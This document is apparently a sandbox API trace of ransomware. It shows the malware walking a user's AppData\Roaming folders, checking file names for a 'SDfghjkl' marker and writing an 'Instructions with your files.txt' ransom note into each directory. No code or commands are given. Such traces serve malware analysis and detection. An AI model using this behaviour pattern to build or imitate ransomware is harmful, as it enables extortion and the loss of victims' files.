[0131.259] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.259] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.259] CloseHandle (hObject=0x118) returned 1
[0131.259] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.259] GetProcessHeap () returned 0x810000
[0131.259] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.259] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2", cAlternateFileName="LOGTRA~1")) returned 0
[0131.259] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Instructions with your files.txt") returned 88
[0131.260] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.260] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.261] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.261] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.261] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.261] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.261] CloseHandle (hObject=0x114) returned 1
[0131.261] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.261] GetProcessHeap () returned 0x810000
[0131.261] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.261] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e182cd0, ftCreationTime.dwHighDateTime=0x1d5b90a, ftLastAccessTime.dwLowDateTime=0x5426ba80, ftLastAccessTime.dwHighDateTime=0x1d5bf54, ftLastWriteTime.dwLowDateTime=0x5426ba80, ftLastWriteTime.dwHighDateTime=0x1d5bf54, nFileSizeHigh=0x0, nFileSizeLow=0xc1e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="arj1IKvMmmvoR5dzdIJG.gif", cAlternateFileName="ARJ1IK~1.GIF")) returned 1
[0131.261] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\arj1IKvMmmvoR5dzdIJG.gif") returned 74
[0131.261] StrStrIW (lpFirst="arj1IKvMmmvoR5dzdIJG.gif", lpSrch="SDfghjkl") returned 0x0
[0131.261] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40507a40, ftCreationTime.dwHighDateTime=0x1d5bc71, ftLastAccessTime.dwLowDateTime=0xd7434560, ftLastAccessTime.dwHighDateTime=0x1d5bfdf, ftLastWriteTime.dwLowDateTime=0xd7434560, ftLastWriteTime.dwHighDateTime=0x1d5bfdf, nFileSizeHigh=0x0, nFileSizeLow=0x134c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bkGCcod.png", cAlternateFileName="")) returned 1
[0131.261] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bkGCcod.png") returned 61
[0131.261] StrStrIW (lpFirst="bkGCcod.png", lpSrch="SDfghjkl") returned 0x0
[0131.261] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50276960, ftCreationTime.dwHighDateTime=0x1d5b8b1, ftLastAccessTime.dwLowDateTime=0x41dbd120, ftLastAccessTime.dwHighDateTime=0x1d5b60e, ftLastWriteTime.dwLowDateTime=0x41dbd120, ftLastWriteTime.dwHighDateTime=0x1d5b60e, nFileSizeHigh=0x0, nFileSizeLow=0x10134, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C4c6f5mRDpvTvDmocGH.gif", cAlternateFileName="C4C6F5~1.GIF")) returned 1
[0131.261] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\C4c6f5mRDpvTvDmocGH.gif") returned 73
[0131.261] StrStrIW (lpFirst="C4c6f5mRDpvTvDmocGH.gif", lpSrch="SDfghjkl") returned 0x0
[0131.261] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53b4b0a0, ftCreationTime.dwHighDateTime=0x1d5c4ab, ftLastAccessTime.dwLowDateTime=0xd8b70670, ftLastAccessTime.dwHighDateTime=0x1d5ba49, ftLastWriteTime.dwLowDateTime=0xd8b70670, ftLastWriteTime.dwHighDateTime=0x1d5ba49, nFileSizeHigh=0x0, nFileSizeLow=0x111b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CJ_zIs18z8_5jXMjx6sE.wav", cAlternateFileName="CJ_ZIS~1.WAV")) returned 1
[0131.261] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CJ_zIs18z8_5jXMjx6sE.wav") returned 74
[0131.261] StrStrIW (lpFirst="CJ_zIs18z8_5jXMjx6sE.wav", lpSrch="SDfghjkl") returned 0x0
[0131.262] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e126ad0, ftCreationTime.dwHighDateTime=0x1d5b675, ftLastAccessTime.dwLowDateTime=0xebb6a0e0, ftLastAccessTime.dwHighDateTime=0x1d5c27e, ftLastWriteTime.dwLowDateTime=0xebb6a0e0, ftLastWriteTime.dwHighDateTime=0x1d5c27e, nFileSizeHigh=0x0, nFileSizeLow=0x100f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E3vBygpF993-SvdcPe.flv", cAlternateFileName="E3VBYG~1.FLV")) returned 1
[0131.262] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\E3vBygpF993-SvdcPe.flv") returned 72
[0131.262] StrStrIW (lpFirst="E3vBygpF993-SvdcPe.flv", lpSrch="SDfghjkl") returned 0x0
[0131.262] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d9a6e50, ftCreationTime.dwHighDateTime=0x1d5b92b, ftLastAccessTime.dwLowDateTime=0x6bba1a90, ftLastAccessTime.dwHighDateTime=0x1d5c5ec, ftLastWriteTime.dwLowDateTime=0x6bba1a90, ftLastWriteTime.dwHighDateTime=0x1d5c5ec, nFileSizeHigh=0x0, nFileSizeLow=0x182ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F5jK4bDd.swf", cAlternateFileName="")) returned 1
[0131.262] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\F5jK4bDd.swf") returned 62
[0131.262] StrStrIW (lpFirst="F5jK4bDd.swf", lpSrch="SDfghjkl") returned 0x0
[0131.262] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbab2a350, ftCreationTime.dwHighDateTime=0x1d5bdb4, ftLastAccessTime.dwLowDateTime=0x9e823fb0, ftLastAccessTime.dwHighDateTime=0x1d5b715, ftLastWriteTime.dwLowDateTime=0x9e823fb0, ftLastWriteTime.dwHighDateTime=0x1d5b715, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FE4OJ7KBQNVFRQuw t.mp3", cAlternateFileName="FE4OJ7~1.MP3")) returned 1
[0131.262] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FE4OJ7KBQNVFRQuw t.mp3") returned 72
[0131.262] StrStrIW (lpFirst="FE4OJ7KBQNVFRQuw t.mp3", lpSrch="SDfghjkl") returned 0x0
[0131.262] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9ba90290, ftCreationTime.dwHighDateTime=0x1d5b7c6, ftLastAccessTime.dwLowDateTime=0xa4358c60, ftLastAccessTime.dwHighDateTime=0x1d5bfbb, ftLastWriteTime.dwLowDateTime=0xa4358c60, ftLastWriteTime.dwHighDateTime=0x1d5bfbb, nFileSizeHigh=0x0, nFileSizeLow=0x12ac6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="frc2CN3DiYPbF9hg3.png", cAlternateFileName="FRC2CN~1.PNG")) returned 1
[0131.262] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\frc2CN3DiYPbF9hg3.png") returned 71
[0131.262] StrStrIW (lpFirst="frc2CN3DiYPbF9hg3.png", lpSrch="SDfghjkl") returned 0x0
[0131.262] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1
[0131.262] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities") returned 60
[0131.262] GetProcessHeap () returned 0x810000
[0131.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.262] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*") returned 62
[0131.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.262] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\.") returned 62
[0131.262] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.262] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\..") returned 63
[0131.262] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 1
[0131.262] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 99
[0131.262] GetProcessHeap () returned 0x810000
[0131.262] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.263] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*") returned 101
[0131.263] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.263] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\.") returned 101
[0131.263] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.263] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\..") returned 102
[0131.263] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.263] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Instructions with your files.txt") returned 132
[0131.263] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.263] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.264] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.264] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.264] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.264] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.264] CloseHandle (hObject=0x118) returned 1
[0131.265] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.265] GetProcessHeap () returned 0x810000
[0131.265] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.265] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0
[0131.265] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\Instructions with your files.txt") returned 93
[0131.265] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\identities\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.265] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.266] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.266] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.266] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.266] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.266] CloseHandle (hObject=0x114) returned 1
[0131.266] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.266] GetProcessHeap () returned 0x810000
[0131.266] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.266] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9d80f340, ftCreationTime.dwHighDateTime=0x1d5b83c, ftLastAccessTime.dwLowDateTime=0x73fa7f10, ftLastAccessTime.dwHighDateTime=0x1d5c0ce, ftLastWriteTime.dwLowDateTime=0x73fa7f10, ftLastWriteTime.dwHighDateTime=0x1d5c0ce, nFileSizeHigh=0x0, nFileSizeLow=0x586a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IjTPLNmAc1-EadMu.mp4", cAlternateFileName="IJTPLN~1.MP4")) returned 1
[0131.266] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IjTPLNmAc1-EadMu.mp4") returned 70
[0131.266] StrStrIW (lpFirst="IjTPLNmAc1-EadMu.mp4", lpSrch="SDfghjkl") returned 0x0
[0131.267] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9d5c5ec0, ftCreationTime.dwHighDateTime=0x1d5c536, ftLastAccessTime.dwLowDateTime=0x1af433b0, ftLastAccessTime.dwHighDateTime=0x1d5bb7f, ftLastWriteTime.dwLowDateTime=0x1af433b0, ftLastWriteTime.dwHighDateTime=0x1d5bb7f, nFileSizeHigh=0x0, nFileSizeLow=0x95ef, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iMLK9vEeLGnprocho.png", cAlternateFileName="IMLK9V~1.PNG")) returned 1
[0131.267] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\iMLK9vEeLGnprocho.png") returned 71
[0131.267] StrStrIW (lpFirst="iMLK9vEeLGnprocho.png", lpSrch="SDfghjkl") returned 0x0
[0131.267] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa96c3b90, ftCreationTime.dwHighDateTime=0x1d5be88, ftLastAccessTime.dwLowDateTime=0x561db5a0, ftLastAccessTime.dwHighDateTime=0x1d5bfae, ftLastWriteTime.dwLowDateTime=0x561db5a0, ftLastWriteTime.dwHighDateTime=0x1d5bfae, nFileSizeHigh=0x0, nFileSizeLow=0x10b6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IQ9X1K.m4a", cAlternateFileName="")) returned 1
[0131.267] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\IQ9X1K.m4a") returned 60
[0131.267] StrStrIW (lpFirst="IQ9X1K.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.267] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1e24f1a0, ftCreationTime.dwHighDateTime=0x1d5bc79, ftLastAccessTime.dwLowDateTime=0x6b340fb0, ftLastAccessTime.dwHighDateTime=0x1d5c441, ftLastWriteTime.dwLowDateTime=0x6b340fb0, ftLastWriteTime.dwHighDateTime=0x1d5c441, nFileSizeHigh=0x0, nFileSizeLow=0x17f83, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="k9UNzR1WT7 mi_RQ2Bg.wav", cAlternateFileName="K9UNZR~1.WAV")) returned 1
[0131.267] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\k9UNzR1WT7 mi_RQ2Bg.wav") returned 73
[0131.267] StrStrIW (lpFirst="k9UNzR1WT7 mi_RQ2Bg.wav", lpSrch="SDfghjkl") returned 0x0
